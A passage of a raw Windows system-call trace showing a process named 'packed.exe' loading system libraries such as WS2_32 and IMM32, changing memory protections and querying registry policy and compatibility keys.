 00169  1744   NtProtectVirtualMemory  (-1, (0x401000), 160, 4, ... (0x401000), 4096, 32, ) == 0x0
 00170  1744   NtProtectVirtualMemory  (-1, (0x401000), 4096, 32, ... (0x401000), 4096, 4, ) == 0x0
 00171  1744   NtFlushInstructionCache  (-1, 4198400, 160, ... ) == 0x0
 00172  1744   NtProtectVirtualMemory  (-1, (0x401000), 160, 4, ... (0x401000), 4096, 32, ) == 0x0
 00173  1744   NtProtectVirtualMemory  (-1, (0x401000), 4096, 32, ... (0x401000), 4096, 4, ) == 0x0
 00174  1744   NtFlushInstructionCache  (-1, 4198400, 160, ... ) == 0x0
 00175  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 1452, 4, ... (0x42c11000), 4096, 32, ) == 0x0
 00176  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 4096, 32, ... (0x42c11000), 4096, 4, ) == 0x0
 00177  1744   NtFlushInstructionCache  (-1, 1119948800, 1452, ... ) == 0x0
 00178  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "iertutil.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00179  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x42990000), 0x0, 282624, ) == 0x0
 00180  1744   NtClose  (16, ... ) == 0x0
 00181  1744   NtProtectVirtualMemory  (-1, (0x42991000), 616, 4, ... (0x42991000), 4096, 32, ) == 0x0
 00182  1744   NtProtectVirtualMemory  (-1, (0x42991000), 4096, 32, ... (0x42991000), 4096, 4, ) == 0x0
 00183  1744   NtFlushInstructionCache  (-1, 1117327360, 616, ... ) == 0x0
 00184  1744   NtProtectVirtualMemory  (-1, (0x42991000), 616, 4, ... (0x42991000), 4096, 32, ) == 0x0
 00185  1744   NtProtectVirtualMemory  (-1, (0x42991000), 4096, 32, ... (0x42991000), 4096, 4, ) == 0x0
 00186  1744   NtFlushInstructionCache  (-1, 1117327360, 616, ... ) == 0x0
 00187  1744   NtProtectVirtualMemory  (-1, (0x42991000), 616, 4, ... (0x42991000), 4096, 32, ) == 0x0
 00188  1744   NtProtectVirtualMemory  (-1, (0x42991000), 4096, 32, ... (0x42991000), 4096, 4, ) == 0x0
 00189  1744   NtFlushInstructionCache  (-1, 1117327360, 616, ... ) == 0x0
 00190  1744   NtProtectVirtualMemory  (-1, (0x42991000), 616, 4, ... (0x42991000), 4096, 32, ) == 0x0
 00191  1744   NtProtectVirtualMemory  (-1, (0x42991000), 4096, 32, ... (0x42991000), 4096, 4, ) == 0x0
 00192  1744   NtFlushInstructionCache  (-1, 1117327360, 616, ... ) == 0x0
 00193  1744   NtProtectVirtualMemory  (-1, (0x42991000), 616, 4, ... (0x42991000), 4096, 32, ) == 0x0
 00194  1744   NtProtectVirtualMemory  (-1, (0x42991000), 4096, 32, ... (0x42991000), 4096, 4, ) == 0x0
 00195  1744   NtFlushInstructionCache  (-1, 1117327360, 616, ... ) == 0x0
 00196  1744   NtProtectVirtualMemory  (-1, (0x42991000), 616, 4, ... (0x42991000), 4096, 32, ) == 0x0
 00197  1744   NtProtectVirtualMemory  (-1, (0x42991000), 4096, 32, ... (0x42991000), 4096, 4, ) == 0x0
 00198  1744   NtFlushInstructionCache  (-1, 1117327360, 616, ... ) == 0x0
 00199  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 1452, 4, ... (0x42c11000), 4096, 32, ) == 0x0
 00200  1744   NtProtectVirtualMemory  (-1, (0x42c11000), 4096, 32, ... (0x42c11000), 4096, 4, ) == 0x0
 00201  1744   NtFlushInstructionCache  (-1, 1119948800, 1452, ... ) == 0x0
 00202  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 4, ... (0x31428000), 8192, 64, ) == 0x0
 00203  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 64, ... (0x31428000), 8192, 4, ) == 0x0
 00204  1744   NtFlushInstructionCache  (-1, 826441728, 8192, ... ) == 0x0
 00205  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "WS2_32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00206  1744   NtAllocateVirtualMemory  (-1, 1323008, 0, 4096, 4096, 4, ... 1323008, 4096, ) == 0x0
 00207  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\WS2_32.dll"}, 1242572, ... ) }, 1242572, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00208  1744   NtFsControlFile  (12, 0, 0x0, 0x0, 0x90028, 0x0, 0, 0, ... {status=0x0, info=0}, 0x0, ) == 0x0
 00209  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\WS2_32.dll"}, 1242572, ... ) }, 1242572, ... ) == 0x0
 00210  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\WS2_32.dll"}, 5, 96, ... 16, {status=0x0, info=1}, ) }, 5, 96, ... 16, {status=0x0, info=1}, ) == 0x0
 00211  1744   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 16, ... 28, ) == 0x0
 00212  1744   NtQuerySection  (28, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 00213  1744   NtOpenProcessToken  (-1, 0x8, ... 32, ) == 0x0
 00214  1744   NtQueryInformationToken  (32, User, 136, ... {token info, class 1, size 36}, 36, ) == 0x0
 00215  1744   NtOpenKey  (0x3, {24, 0, 0x40, 0, 0,  (0x3, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00216  1744   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 36, ) }, ... 36, ) == 0x0
 00217  1744   NtQueryValueKey  (36,  (36, "TransparentEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\1\0\0\0"}, 16, ) , Partial, 80, ... TitleIdx=0, Type=4, Data= (36, "TransparentEnabled", Partial, 80, ... TitleIdx=0, Type=4, Data="\1\0\0\0"}, 16, ) }, 16, ) == 0x0
 00218  1744   NtClose  (36, ... ) == 0x0
 00219  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00220  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 36, ) == 0x0
 00221  1744   NtQueryInformationToken  (36, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00222  1744   NtClose  (36, ... ) == 0x0
 00223  1744   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00224  1744   NtClose  (32, ... ) == 0x0
 00225  1744   NtClose  (16, ... ) == 0x0
 00226  1744   NtMapViewOfSection  (28, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x71ab0000), 0x0, 94208, ) == 0x0
 00227  1744   NtClose  (28, ... ) == 0x0
 00228  1744   NtProtectVirtualMemory  (-1, (0x71ab1000), 468, 4, ... (0x71ab1000), 4096, 32, ) == 0x0
 00229  1744   NtProtectVirtualMemory  (-1, (0x71ab1000), 4096, 32, ... (0x71ab1000), 4096, 4, ) == 0x0
 00230  1744   NtFlushInstructionCache  (-1, 1907036160, 468, ... ) == 0x0
 00231  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "WS2HELP.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00232  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\WS2HELP.dll"}, 1241756, ... ) }, 1241756, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00233  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\WS2HELP.dll"}, 1241756, ... ) }, 1241756, ... ) == 0x0
 00234  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\WS2HELP.dll"}, 5, 96, ... 28, {status=0x0, info=1}, ) }, 5, 96, ... 28, {status=0x0, info=1}, ) == 0x0
 00235  1744   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 28, ... 16, ) == 0x0
 00236  1744   NtQuerySection  (16, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 00237  1744   NtClose  (28, ... ) == 0x0
 00238  1744   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x71aa0000), 0x0, 32768, ) == 0x0
 00239  1744   NtClose  (16, ... ) == 0x0
 00240  1744   NtProtectVirtualMemory  (-1, (0x71aa1000), 352, 4, ... (0x71aa1000), 4096, 32, ) == 0x0
 00241  1744   NtProtectVirtualMemory  (-1, (0x71aa1000), 4096, 32, ... (0x71aa1000), 4096, 4, ) == 0x0
 00242  1744   NtFlushInstructionCache  (-1, 1906970624, 352, ... ) == 0x0
 00243  1744   NtProtectVirtualMemory  (-1, (0x71ab1000), 468, 4, ... (0x71ab1000), 4096, 32, ) == 0x0
 00244  1744   NtProtectVirtualMemory  (-1, (0x71ab1000), 4096, 32, ... (0x71ab1000), 4096, 4, ) == 0x0
 00245  1744   NtFlushInstructionCache  (-1, 1907036160, 468, ... ) == 0x0
 00246  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 4, ... (0x31428000), 8192, 64, ) == 0x0
 00247  1744   NtProtectVirtualMemory  (-1, (0x31428000), 8192, 64, ... (0x31428000), 8192, 4, ) == 0x0
 00248  1744   NtFlushInstructionCache  (-1, 826441728, 8192, ... ) == 0x0
 00249  1744   NtQueryInformationProcess  (-1, 37, 48, ... {process info, class 37, size 48}, 0x0, ) == 0x0
 00250  1744   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\u:\work\packed.exe"}, 5, 96, ... 16, {status=0x0, info=1}, ) }, 5, 96, ... 16, {status=0x0, info=1}, ) == 0x0
 00251  1744   NtReadFile  (16, 0, 0, 0, 4, {187344, 0}, 0, ... {status=0x0, info=4},  (16, 0, 0, 0, 4, {187344, 0}, 0, ... {status=0x0, info=4}, "\210\37,\0", ) , ) == 0x0
 00252  1744   NtClose  (16, ... ) == 0x0
 00253  1744   NtSetInformationProcess  (-1, 34, {process info, class 34, size 4}, 4, ... ) == 0x0
 00254  1744   NtOpenProcessToken  (-1, 0x8, ... 16, ) == 0x0
 00255  1744   NtQueryInformationToken  (16, Statistics, 56, ... {token info, class 10, size 56}, 56, ) == 0x0
 00256  1744   NtClose  (16, ... ) == 0x0
 00257  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\Terminal Server"}, ... 16, ) }, ... 16, ) == 0x0
 00258  1744   NtQueryValueKey  (16,  (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 548, ... TitleIdx=0, Type=4, Data= (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 00259  1744   NtClose  (16, ... ) == 0x0
 00260  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RPCRT4.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00261  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ADVAPI32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00262  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\Terminal Server"}, ... 16, ) }, ... 16, ) == 0x0
 00263  1744   NtQueryValueKey  (16,  (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 548, ... TitleIdx=0, Type=4, Data= (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 00264  1744   NtQueryValueKey  (16,  (16, "TSUserEnabled", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 548, ... TitleIdx=0, Type=4, Data= (16, "TSUserEnabled", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 00265  1744   NtClose  (16, ... ) == 0x0
 00266  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"}, ... 16, ) }, ... 16, ) == 0x0
 00267  1744   NtQueryValueKey  (16,  (16, "LeakTrack", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00268  1744   NtClose  (16, ... ) == 0x0
 00269  1744   NtOpenKey  (0x2000000, {24, 0, 0x40, 0, 0,  (0x2000000, {24, 0, 0x40, 0, 0, "\REGISTRY\MACHINE"}, ... 16, ) }, ... 16, ) == 0x0
 00270  1744   NtSetInformationObject  (16, Handle, {Inherit=0,ProtectFromClose=1,}, 2011431168, ... ) == 0x0
 00271  1744   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "Software\Microsoft\Windows NT\CurrentVersion\Diagnostics"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00272  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSVCRT.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00273  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00274  1744   NtAllocateVirtualMemory  (-1, 0, 0, 65536, 8192, 4, ... 3276800, 65536, ) == 0x0
 00275  1744   NtAllocateVirtualMemory  (-1, 3276800, 0, 4096, 4096, 4, ... 3276800, 4096, ) == 0x0
 00276  1744   NtAllocateVirtualMemory  (-1, 3280896, 0, 8192, 4096, 4, ... 3280896, 8192, ) == 0x0
 00277  1744   NtAllocateVirtualMemory  (-1, 3289088, 0, 4096, 4096, 4, ... 3289088, 4096, ) == 0x0
 00278  1744   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionCType"}, ... 28, ) }, ... 28, ) == 0x0
 00279  1744   NtMapViewOfSection  (28, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x330000), 0x0, 12288, ) == 0x0
 00280  1744   NtClose  (28, ... ) == 0x0
 00281  1744   NtAllocateVirtualMemory  (-1, 3293184, 0, 4096, 4096, 4, ... 3293184, 4096, ) == 0x0
 00282  1744   NtQueryVirtualMemory  (-1, 0x77c2807c, Basic, 28, ... {BaseAddress=0x77c28000,AllocationBase=0x77c10000,AllocationProtect=0x80,RegionSize=0x35000,State=0x1000,Protect=0x20,Type=0x1000000,}, 28, ) == 0x0
 00283  1744   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 00284  1744   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 00285  1744   NtQueryVirtualMemory  (-1, 0x0, Basic, 28, ... {BaseAddress=0x0,AllocationBase=0x0,AllocationProtect=0x0,RegionSize=0x10000,State=0x10000,Protect=0x1,Type=0x0,}, 28, ) == 0x0
 00286  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDI32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00287  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USER32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00288  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00289  1744   NtRequestWaitReplyPort  (24, {28, 56, new_msg, 0, 256, 1243092, 256, 1242836}  (24, {28, 56, new_msg, 0, 256, 1243092, 256, 1242836} "\210\6$\1\0\0\0\0\0\0\0\0\1\0\0\0\3\0\0\0\234\6$\1$\1\0\0" ... {28, 56, reply, 0, 1736, 1744, 75487, 0} "\320G\26\0\0\0\0\0\0\0\0\0\1\0\0\0\3\0\0\0\234\6$\1$\1\0\0" )  ... {28, 56, reply, 0, 1736, 1744, 75487, 0}  (24, {28, 56, new_msg, 0, 256, 1243092, 256, 1242836} "\210\6$\1\0\0\0\0\0\0\0\0\1\0\0\0\3\0\0\0\234\6$\1$\1\0\0" ... {28, 56, reply, 0, 1736, 1744, 75487, 0} "\320G\26\0\0\0\0\0\0\0\0\0\1\0\0\0\3\0\0\0\234\6$\1$\1\0\0" )  ) == 0x0
 00290  1744   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\Session Manager"}, ... 28, ) }, ... 28, ) == 0x0
 00291  1744   NtQueryValueKey  (28,  (28, "SafeDllSearchMode", Partial, 16, ... ) , Partial, 16, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00292  1744   NtClose  (28, ... ) == 0x0
 00293  1744   NtAllocateVirtualMemory  (-1, 1327104, 0, 4096, 4096, 4, ... 1327104, 4096, ) == 0x0
 00294  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1239420, ... ) }, 1239420, ... ) == 0x0
 00295  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 5, 96, ... 28, {status=0x0, info=1}, ) }, 5, 96, ... 28, {status=0x0, info=1}, ) == 0x0
 00296  1744   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 28, ... 32, ) == 0x0
 00297  1744   NtClose  (28, ... ) == 0x0
 00298  1744   NtMapViewOfSection  (32, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x340000), 0x0, 110592, ) == 0x0
 00299  1744   NtClose  (32, ... ) == 0x0
 00300  1744   NtUnmapViewOfSection  (-1, 0x340000, ... ) == 0x0
 00301  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1239328, ... ) }, 1239328, ... ) == 0x0
 00302  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 5, 96, ... 32, {status=0x0, info=1}, ) }, 5, 96, ... 32, {status=0x0, info=1}, ) == 0x0
 00303  1744   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 32, ... 28, ) == 0x0
 00304  1744   NtClose  (32, ... ) == 0x0
 00305  1744   NtMapViewOfSection  (28, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x340000), 0x0, 110592, ) == 0x0
 00306  1744   NtClose  (28, ... ) == 0x0
 00307  1744   NtUnmapViewOfSection  (-1, 0x340000, ... ) == 0x0
 00308  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1239636, ... ) }, 1239636, ... ) == 0x0
 00309  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 5, 96, ... 28, {status=0x0, info=1}, ) }, 5, 96, ... 28, {status=0x0, info=1}, ) == 0x0
 00310  1744   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 28, ... 32, ) == 0x0
 00311  1744   NtQuerySection  (32, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 00312  1744   NtClose  (28, ... ) == 0x0
 00313  1744   NtMapViewOfSection  (32, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x76390000), 0x0, 118784, ) == 0x0
 00314  1744   NtClose  (32, ... ) == 0x0
 00315  1744   NtProtectVirtualMemory  (-1, (0x76391000), 696, 4, ... (0x76391000), 4096, 32, ) == 0x0
 00316  1744   NtProtectVirtualMemory  (-1, (0x76391000), 4096, 32, ... (0x76391000), 4096, 4, ) == 0x0
 00317  1744   NtFlushInstructionCache  (-1, 1983451136, 696, ... ) == 0x0
 00318  1744   NtProtectVirtualMemory  (-1, (0x76391000), 696, 4, ... (0x76391000), 4096, 32, ) == 0x0
 00319  1744   NtProtectVirtualMemory  (-1, (0x76391000), 4096, 32, ... (0x76391000), 4096, 4, ) == 0x0
 00320  1744   NtFlushInstructionCache  (-1, 1983451136, 696, ... ) == 0x0
 00321  1744   NtProtectVirtualMemory  (-1, (0x76391000), 696, 4, ... (0x76391000), 4096, 32, ) == 0x0
 00322  1744   NtProtectVirtualMemory  (-1, (0x76391000), 4096, 32, ... (0x76391000), 4096, 4, ) == 0x0
 00323  1744   NtFlushInstructionCache  (-1, 1983451136, 696, ... ) == 0x0
 00324  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMM32.DLL"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00325  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00326  1744   NtAllocateVirtualMemory  (-1, 1228800, 0, 4096, 4096, 260, ... 1228800, 4096, ) == 0x0
 00327  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1236552, ... ) }, 1236552, ... ) == 0x0
 00328  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntdll.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00329  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kernel32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00330  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SHLWAPI.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00331  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Normaliz.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00332  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iertutil.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00333  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WININET.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00334  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WS2HELP.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00335  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WS2_32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00336  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\IMM32.DLL"}, 1239956, ... ) }, 1239956, ... ) == 0x0
 00337  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\Error Message Instrument\"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00338  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize"}, ... 32, ) }, ... 32, ) == 0x0
 00339  1744   NtQueryValueKey  (32,  (32, "DisableMetaFiles", Partial, 20, ... ) , Partial, 20, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00340  1744   NtClose  (32, ... ) == 0x0
 00341  1744   NtMapViewOfSection  (-2147481380, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x4e0000), 0x0, 1060864, ) == 0x0
 00342  1744   NtClose  (-2147481380, ... ) == 0x0
 00343  1744   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 32, ) == 0x0
 00344  1744   NtOpenThreadTokenEx  (-2, 0x8, 1, 512, ... ) == STATUS_NO_TOKEN
 00345  1744   NtOpenProcessTokenEx  (-1, 0x8, 512, ... -2147481380, ) == 0x0
 00346  1744   NtQueryInformationToken  (-2147481380, Statistics, 0, ... ) == STATUS_BUFFER_TOO_SMALL
 00347  1744   NtQueryInformationToken  (-2147481380, Statistics, 56, ... {token info, class 10, size 56}, 56, ) == 0x0
 00348  1744   NtClose  (-2147481380, ... ) == 0x0
 00349  1744   NtAllocateVirtualMemory  (-1, 0, 0, 32, 4096, 4, ... 3407872, 4096, ) == 0x0
 00350  1744   NtFreeVirtualMemory  (-1, (0x340000), 4096, 32768, ... (0x340000), 4096, ) == 0x0
 00351  1744   NtDuplicateObject  (-1, 28, -1, 0x0, 0, 2, ... 40, ) == 0x0
 00352  1744   NtOpenKey  (0x20019, {24, 0, 0x240, 0, 0,  (0x20019, {24, 0, 0x240, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Compatibility32"}, ... -2147481380, ) }, ... -2147481380, ) == 0x0
 00353  1744   NtQueryValueKey  (-2147481380,  (-2147481380, "packed", Partial, 172, ... ) , Partial, 172, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00354  1744   NtClose  (-2147481380, ... ) == 0x0
 00355  1744   NtOpenKey  (0x20019, {24, 0, 0x240, 0, 0,  (0x20019, {24, 0, 0x240, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\IME Compatibility"}, ... -2147481380, ) }, ... -2147481380, ) == 0x0
 00356  1744   NtQueryValueKey  (-2147481380,  (-2147481380, "packed", Partial, 172, ... ) , Partial, 172, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
